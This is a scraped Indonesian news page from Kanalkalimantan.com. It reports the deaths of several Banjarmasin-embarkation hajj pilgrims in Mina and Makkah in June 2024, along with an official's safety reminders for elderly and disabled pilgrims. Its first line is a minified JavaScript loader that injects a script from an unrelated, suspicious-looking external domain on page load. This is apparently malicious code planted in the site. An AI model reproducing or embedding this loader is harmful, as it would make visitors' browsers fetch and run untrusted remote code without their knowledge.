(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jemaah haji Embarkasi Banjarmasin yang wafat di Tanah Suci kembali bertambah.
Jemaah haji asal Kabupaten Tapin, Kalimantan Selatan bernama Hj Restina Ahmadsyah Aun yang termasuk dalam kloter 15 Embarkasi Banjarmasin.
Jemaah perempuan berusia 57 tahun tersebut dikabarkan wafat pada Senin (17/6/2024) pukul 11.30 Waktu Arab Saudi (WAS) di Mina, Arab Saudi.
Baca juga: 203 Jemaah Sidrap Ditangkap di Jeddah, Pakai Visa Ziarah Bertahan untuk Berhaji
Beberapa hari sebelumnya kabar duka juga datang dari kloter 14 Embarkasi Banjarmasin, H Supain Suri Syarkawi (57) jemaah haji asal Kabupaten Hulu Sungai Selatan (Kandangan), Kalimantan Selatan, wafat di Mina, Arab Saudi pada Minggu (16/6/2024) pukul 06:00 Waktu Arab Saudi (WAS).
Wafat jemaah haji asal HSS, Kalsel tersebut menambah daftar jemaah haji yang wafat di Tanah Suci dari Embarkasi Haji Banjarmasin.
Hingga Selasa (18/6/2024), tercatat 4 orang jemaah Embarkasi Haji Banjarmasin yang wafat di Tanah Suci. Tiga orang jemaah dari Kalimantan Selatan dan satu orang dari Kalimantan Tengah.
Jemaah Embarkasi Haji Banjarmasin pertama yang wafat di Tanah Suci bernama Sirun Mucheri Sarkawi (79) dari Kloter 7 Barito Selatan, Kalimantan Tengah. Lelaki asal Kalteng itu wafat pada Sabtu (8/6/2024) pukul 13:14 WAS di Rumah Sakit Makkah.
Kemudian, jemaah kedua bernama Hidayatussabyan (50) Kloter 18 dari Tabalong, Kalsel, wafat pada Jumat (14/6/2024) 18:15 WAS di Rumah Sakit Arafah.
Sementara itu, Kepala Kanwil Kemenag Kalsel Dr H Muhammad Tambrin M MPd mengingatkan kepada para petugas haji Kloter untuk lebih ekstra siaga dan memberikan perhatian kepada para jemaah Lansia, Resti, dan disabilitas.
Baca juga: Moment Iduladha, Wabup Banjar Gelar Halalbihalal di Rumah Dinas
“Kepada para petugas Kloter yakni ketua Kloter dan pembimbing ibadah, serta dokter dan perawat dibantu TPHD agar dapat lebih meningkatkan kesiagaannya dalam melayani jemaah haji Lansia, Resti dan Disabilitas terutama saat berada di Mina pada saat ini,” katanya dilansir dari laman Kemenag Kalsel.
Menurut Tambrin aktivitas jemaah haji di Mina lebih berat dibanding di Arafah dan Muzdalifah, sebab di Mina jemaah haji melakukan aktivitas lontar jumrah tidak seperti di Arafah dan Muzdalifah yang hanya berdiam saja.
“Saya pinta petugas Kloter dapat mengingatkan kepada jemaahnya bagi yang udzur karena kondisi fisik dan kesehatan yang tidak memungkinkan untuk tidak memaksakan diri melontar jumrah, cukup dibadalkan saja,” katanya.
Baca juga: Pemprov Kalsel Apresiasi PLN Bersama PWI Gelar UKW
Selanjutnya, Tambrin juga mengingatkan agar petugas dan jemaah haji dapat mematuhi jadual melontar jumrah yang telah ditetapkan Pemerintah Arab Saudi.
“Ikuti dan patuhi ketentuan waktu yang telah ditetapkan dan hindari waktu-waktu larangan. Penentuan waktu lontar jumrah ini merupakan ikhtiar untuk melindungi jemaah agar dapat menjalankan prosesi ini dengan lancar dan aman,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.